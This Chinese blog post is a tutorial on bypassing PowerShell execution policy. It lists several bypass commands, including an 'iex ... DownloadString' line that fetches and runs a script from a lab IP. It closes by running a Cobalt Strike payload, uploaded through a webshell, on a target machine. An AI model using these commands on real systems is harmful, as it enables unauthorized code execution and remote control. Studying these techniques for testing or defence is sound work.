在Windows中,为了防止使用者允许恶意脚本,PowerShell提供了一个执行策略,在默认情况下这个策略为不能运行。
那我们如何指导运行规则呢?
cmd中执行
powershell Get-ExecutionPolicy
这里为Restricted,那其实相关的策略有:
策略 | 描述 |
---|---|
Restricted | 默认设置。在任何条件下,都不允许PowerShell脚本运行 |
AllSigned | 只有数字签名的脚本(包括配置文件脚本)将会运行,此外,会提示你允许运行那些使用指定的证书签名的脚本 |
RemoteSigned | 经本地编写的脚本将会运行。从网络下载的脚本运行,除非他们签名了并且你批准了的签名的证书 |
UnRestricted | 所有的脚本都将运行,但是,对于下载的脚本会警告你,而且,它们运行前必须批准 |
ByPass | 任何脚本都将运行,而且不管其来源。这是一个潜在的非常危险的设置,只有在非常特定的情况下才使用;其中,其他的安全性系统已经准备好了,可以防止流氓脚本未经你的许可而运行 |
Undefined | 如果没有认为的设置过主机的PowerShell脚本执行策略。默认是Restricted,禁止所有脚本运行 |
如果是正常用户,能够直接设置powershell执行权限,可以用
Set-ExecutionPolicy
进行设置,将
ExecutionPolicy
改为
Unrestricted
,可以运行未签名的脚本
Set-ExecutionPolicy Unrestricted
效果如下
大小写好像也不重要
但是很多时候,我们并不是用户,就需要去绕过限制禁止执行的限制,在目标机器上执行我们想要执行的PowerShell代码
然后就测试了一些方法,以下几种实用比较容易,也确实都可以
1.直接在控制台输入
不写入磁盘。不会导致任何配置更改。
2.从文件中读取脚本并通过PowerShell的标准输入
powershell Get-Content test.ps1 | PowerShell.exe -noprofile -
powershell GC test.ps1 | PowerShell.exe -noprofile -
powershell type test.ps1 | PowerShell.exe -noprofile -
同理,可以使用echo把内容传递过去,类似linux下。
不写入磁盘。不会导致任何配置更改。
powershell Echo \'Write-Host \"My voice is my passport, verify me.\" \'| PowerShell.exe -noprofile -
3.下载的方式
从网上下载PowerShell脚本并执行。
不写入磁盘。不会导致任何配置更改。
powershell -nop -c \"iex(New-Object Net.WebClient).DownloadString(\'http://192.168.159.134/pstest\')\"
4.command
不写入磁盘。不会导致任何配置更改。
Powershell -command \"Write-Host \'hello world\'\"
Powershell -c \"Write-Host \'hello world\'\"
5.EncodeCommand
不写入磁盘。不会导致任何配置更改。
在powershell中执行如下命令
$command = \"Write-Host \'hello world\'\"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
或者拿到编码后的信息,再运行
powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgA CcAaABlAGwAbABvACAAdwBvAHIAbABkACcA
-EncodedCommand
参数可以简写为
-Enc
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcAaABlAGwA bABvACAAdwBvAHIAbABkACcA
6.Invoke-Command
不写入磁盘。不会导致任何配置更改。
powershell invoke-command -scriptblock {Write-Host \"hello world\"}
7.ByPass
不写入磁盘。不会导致任何配置更改。
PowerShell.exe -ExecutionPolicy UnRestricted -File test.ps1
这里应该是用某种策略执行脚本,所以比如下载的,可以用RemoteSigned来生效
实践
最后再来进行cs shell上线测试
生成powershell脚本,然后蚁剑上传
直接执行自然不行,
powershell ./payload
执行下,报如下信息
所以要绕过执行限制
PowerShell.exe -ExecutionPolicy Bypass -File payload.ps1
成功上线
以上这些都是测试过的,我测试的机子是win7,有兴趣的可以试试。
参考链接:https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/